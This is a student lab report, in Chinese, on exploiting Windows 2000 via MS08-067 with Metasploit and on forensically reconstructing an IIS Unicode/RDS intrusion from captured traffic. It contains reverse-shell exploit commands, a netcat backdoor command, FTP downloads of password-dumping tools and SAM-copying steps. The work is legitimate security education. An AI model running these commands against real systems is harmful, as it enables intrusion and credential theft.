20252819 2025-2026-2《网络攻防实践》第六周作业

网络攻防实践 第六次实验报告

一、实验概述

1. 实验名称

Windows系统远程渗透攻击与取证分析实践

2. 实验环境

  • 攻击机：Kali Linux（IP：192.168.200.6）
  • 靶机：Windows 2000 Server（IP：192.168.200.20）
  • 攻击工具：Metasploit Framework、Wireshark
  • 利用漏洞：MS08-067（Windows SMB远程溢出漏洞）、IIS Unicode漏洞、MS02-065（RDS漏洞）

3. 实验内容

  1. 基于Metasploit实现Windows靶机MS08-067漏洞远程渗透攻击
  2. 流量取证分析：解码NT系统被破解的完整攻击过程
  3. 团队对抗实践：攻防双方完成渗透攻击与流量监听分析

二、动手实践：Metasploit Windows Attacker

1. 环境准备

  • 查看攻击机Kali IP地址：192.168.200.6
  • 查看靶机Win2k IP地址：192.168.200.20
  • 测试网络连通性：ping 192.168.200.20，确保双向互通
    image

2. 启动Metasploit

在Kali终端执行命令启动MSF控制台：

msfconsole

image

3. 搜索并加载漏洞模块

搜索MS08-067漏洞利用模块：

search ms08_067

image

加载对应漏洞模块：

use exploit/windows/smb/ms08_067_netapi

image

4. 配置攻击参数

  • 查看可利用载荷：show payloads
    image
![image](https://img2024.cnblogs.com/blog/2885818/202604/2885818-20260421112515351-1291037704.png)
Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/ssh/interact                                                 normal  No     Interact with Established SSH Connection
   5    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   6    payload/windows/adduser                                                      normal  No     Windows Execute net user /ADD
   7    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   8    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   9    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   10   payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   11   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   12   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   13   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   14   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   17   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   18   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   20   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   21   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   22   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   23   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   24   payload/windows/exec                                                         normal  No     Windows Execute Command
   25   payload/windows/format_all_drives                                            manual  No     Windows Drive Formatter
   26   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   27   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   28   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   29   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   30   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   31   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   32   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   33   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   34   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   35   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   36   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   37   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   38   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   39   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   40   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   41   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   42   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   43   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   44   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   45   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   46   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   47   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   48   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   49   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   50   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   51   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   52   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   53   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   54   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   55   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   56   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   57   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   58   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   59   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   60   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   61   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   62   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   63   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   64   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   65   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   66   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   67   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   68   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   69   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   70   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   71   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   72   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   73   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   74   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   75   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   76   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   77   payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   78   payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   79   payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   80   payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   81   payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   82   payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   83   payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   84   payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   85   payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   86   payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   87   payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   88   payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   89   payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   90   payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   91   payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   92   payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   93   payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   94   payload/windows/pingback_bind_tcp                                            normal  No     Windows x86 Pingback, Bind TCP Inline
   95   payload/windows/pingback_reverse_tcp                                         normal  No     Windows x86 Pingback, Reverse TCP Inline
   96   payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   97   payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   98   payload/windows/powershell_reverse_tcp_ssl                                   normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   99   payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   100  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   101  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   102  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   103  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   104  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   105  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   106  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   107  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   108  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   109  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   110  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   111  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   112  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   113  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   114  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   115  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   116  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   117  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   118  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   119  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   120  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   121  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   122  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   123  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   124  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   125  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   126  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   127  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   128  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   129  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   130  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   131  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   132  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   133  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   134  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   135  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   136  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   137  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   138  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   139  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   140  payload/windows/vncinject/bind_nonx_tcp                                     normal  No     VNC Server (Reflective Injection), Bind TCP Staer (No NX or Win7)
   141  payload/windows/vncinject/bind_tcp                                          normal  No     VNC Server (Reflective Injection), Bind TCP Staer (Windows x86)
   142  payload/windows/vncinject/bind_tcp_uuid                                     normal  No     VNC Server (Reflective Injection), Bind TCP Staer with UUID Support (Windows x86)
   143  payload/windows/vncinject/reverse_hop_http                                  normal  No     VNC Server (Reflective Injection), Reverse Hop TTP/HTTPS Stager
   144  payload/windows/vncinject/reverse_ipv6_tcp                                  normal  No     VNC Server (Reflective Injection), Reverse TCP tager (IPv6)
   145  payload/windows/vncinject/reverse_nonx_tcp                                  normal  No     VNC Server (Reflective Injection), Reverse TCP tager (No NX or Win7)
   146  payload/windows/vncinject/reverse_ord_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse Ordial TCP Stager (No NX or Win7)
   147  payload/windows/vncinject/reverse_tcp                                       normal  No     VNC Server (Reflective Injection), Reverse TCP tager
   148  payload/windows/vncinject/reverse_tcp_allports                              normal  No     VNC Server (Reflective Injection), Reverse All-ort TCP Stager
   149  payload/windows/vncinject/reverse_tcp_dns                                   normal  No     VNC Server (Reflective Injection), Reverse TCP tager (DNS)
   150  payload/windows/vncinject/reverse_tcp_uuid                                  normal  No     VNC Server (Reflective Injection), Reverse TCP tager with UUID Support

输入命令show options查看攻击漏洞信息
image

  • 设置反向Shell载荷：
set payload generic/shell_reverse_tcp
  • 设置攻击机IP：
set LHOST 192.168.200.6
  • 设置靶机IP：
set RHOST 192.168.200.20

5. 执行渗透攻击

exploit

image
攻击成功后，获取靶机Windows命令行Shell，可执行ipconfig /all验证靶机信息。
image

三、取证分析实践：解码NT系统破解攻击

1. 流量文件加载

使用Wireshark打开攻击流量日志文件snort-0204@0117.log，筛选攻击流量：

ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106 && http

image

2. 攻击工具识别

  • 117数据包中出现%C0%AF（/的Unicode编码），判定为IIS Unicode漏洞攻击
  • 频繁出现!ADM!ROX!YOUR!WORLD!特征串，结合msadcs.dll，判定为RDS漏洞（MS02-065）攻击
  • 攻击工具：msadc.pl/msadc2.pl渗透攻击脚本
    image

3. 攻击过程还原

  1. 初始入侵：利用Unicode目录遍历漏洞读取boot.ini，获取系统信息
    image
    image

  2. 代码执行：利用RDS漏洞通过SQL注入实现远程命令执行
    image
    在过滤后的数据包中发现多次出现msadcs.dll，对其中的149号数据包进行追踪，查看发现有shell语句(执行了命令cmd /c echo werd >> c : fun)和频繁出现的"!ADM!ROX!YOUR!WORLD!"字符串
    ，攻击者使用RDS漏洞进行了SQL注入攻击。该漏洞可以导致攻击者远程执行用户系统的命令，并以设备用户的身份运行，查询资料可知是由msadc.pl/msadc2.pl 渗透攻击工具发起的攻击。
    image

  3. 工具上传：通过FTP下载nc.exe、pdump.exe、samdump.dll
    攻击者如何使用这个破解工具进入并控制了系统？
    追踪多个数据包查看shell语句，可以看到攻击者使用IIS Unicode漏洞进入靶机之后，利用其msadcs.dll中的RDS漏洞允许任意代码执行的缺陷进行以下操作；由ftpcom可知攻击机打开213.116.251.162的主机后，
    使用FTP的方式下载文件，其中pdump.exe和samdump.dll是配合使用破解口令的，即使用samdump.dll拿到口令后再用pdump.exe进行破解
    image
    image
    使用http.request.uri contains "msadc"进行筛选，可以看到攻击机成功上传了工具
    image

  4. 后门部署：执行nc -l -p 6969 -e cmd.exe开启远程后门
    继续追踪多个数据包查看shell语句， 其中sasfile为高效读入数据的方式，因此IP分别为212.139.12.26和213.116.251.162写入了文件。nc.exe文件是一个远程入侵的后门程序，便于下次攻击
    image
    image
    image
    image

  5. 权限提升：建立连接、攻击端口、查看管理员组、复制SAM文件、破解系统密码
    使用ftp进行过滤，在1106号数据包可以发现攻击者成功建立了FTP连接，追踪TCP流，可以看出到攻击者通过创建了ftpcom脚本，
    使用ftp连接 http://www.nether.net/ ，并以用户名：johna2k，密码：haxedj00，下载 nc.exe、pdump.exe和samdump.dll；
    image
    打开1233号包，追踪TCP数据流看到cmd1.exe /c nc -l -p 6969 -e cmd1.exe，这表明攻击者连接了6969端口，接下来添加条件重点追踪涉及6969端口的TCP流来观测攻击行为
    image
    输入过滤条件tcp.port == 6969,追踪数据流可以发现攻击机试图进入靶机但是失败
    image
    攻击者获得系统访问权限后做了什么？
    创建用户组提升自己的访问权限
    image
    利用磁盘修复工具包中的rdisk工具创建SAM文件副本（SAM文件中是安全账号管理），可以发现攻击的口令来来回回执行了好多次，由此推测这个攻击者这部操作不是很顺利；
    image
    在3527号数据包中可以发现攻击者尝试拷贝SAM文件中的数据即har.txt文件
    image

  6. 痕迹清理：删除上传的攻击工具与临时文件
    在2247号数据包中可以看到攻击者删除了之前通过ftp下载的文件，猜测攻击者想要消除痕迹然后溜走
    image
    在4030号数据包中可以发现攻击者尝试删除SAM文件中的数据即har.txt文件
    image
    在5766号数据包中，可以看到执行指令“c+del+ftpcom HTTP/1.1”删除了ftp的文件，猜测攻击者删除之前下载文件准备逃跑；
    image

4. 防御建议

  1. 及时安装系统补丁，修复Unicode、RDS、MS08-067等高危漏洞
  2. 使用IIS Lockdown、URLScan工具加固Web服务
  3. 配置强密码策略，提升口令破解难度
  4. 限制CMD等系统命令的远程调用权限
  5. 部署蜜罐与入侵检测系统，及时发现攻击行为

5. 蜜罐识别判定

攻击者在流量中写入echo best honeypot i've seen till now > rfp.txt，明确识别出目标为蜜罐主机。
image

四、团队对抗实践

1. 对抗环境

  • 攻击方：Kali Linux（IP：192.168.200.6）（20252819 储尚誉）
  • 防守方：Windows 2000 Server（IP：192.168.200.30）（20252805 滕森）
  • 攻击漏洞：MS08-067
  • 监听工具：Wireshark

2. 攻击流程

  1. 攻击机启动MSF，加载MS08-067模块并配置参数
    image
  2. 执行exploit成功获取靶机Shell
    image
  3. 在靶机创建文件夹，验证控制权限
    image
    可以看到目标机器出现创建的文件夹。
    image

3. 流量分析要点

  • 攻击机4444端口与靶机1042端口建立反向连接
  • 数据包包含SMB协议漏洞利用特征与命令执行流量
  • 可通过tcp.stream eq 0追踪完整攻击会话

五、实验问题与解决

  1. 问题：攻击时无法建立会话，提示连接失败
    解决：检查靶机防火墙，关闭防火墙并确保445端口开放
  2. 问题：Wireshark未捕获攻击流量
    解决：先启动Wireshark监听，再执行MSF攻击命令
  3. 问题：载荷配置错误导致攻击失败
    解决：使用generic/shell_reverse_tcp通用反向载荷，适配Win2k系统

六、实验总结

本次实验完成了Metasploit渗透攻击、流量取证分析、团队攻防对抗三项核心任务，深入理解了Windows系统高危漏洞的利用原理与攻击流程。通过MS08-067漏洞实现了对Win2k靶机的远程控制，借助Wireshark完整还原了NT系统被破解的全过程，掌握了漏洞利用、命令执行、后门部署、痕迹清理等典型攻击手法。
同时，实验也让我认识到系统补丁更新、权限最小化、流量监控在安全防护中的重要性，只有及时修复漏洞、加固系统配置、部署安全设备，才能有效抵御此类渗透攻击。

posted @ 2026-04-21 12:33  nepenthe词不达意  阅读(23)  评论(0)    收藏  举报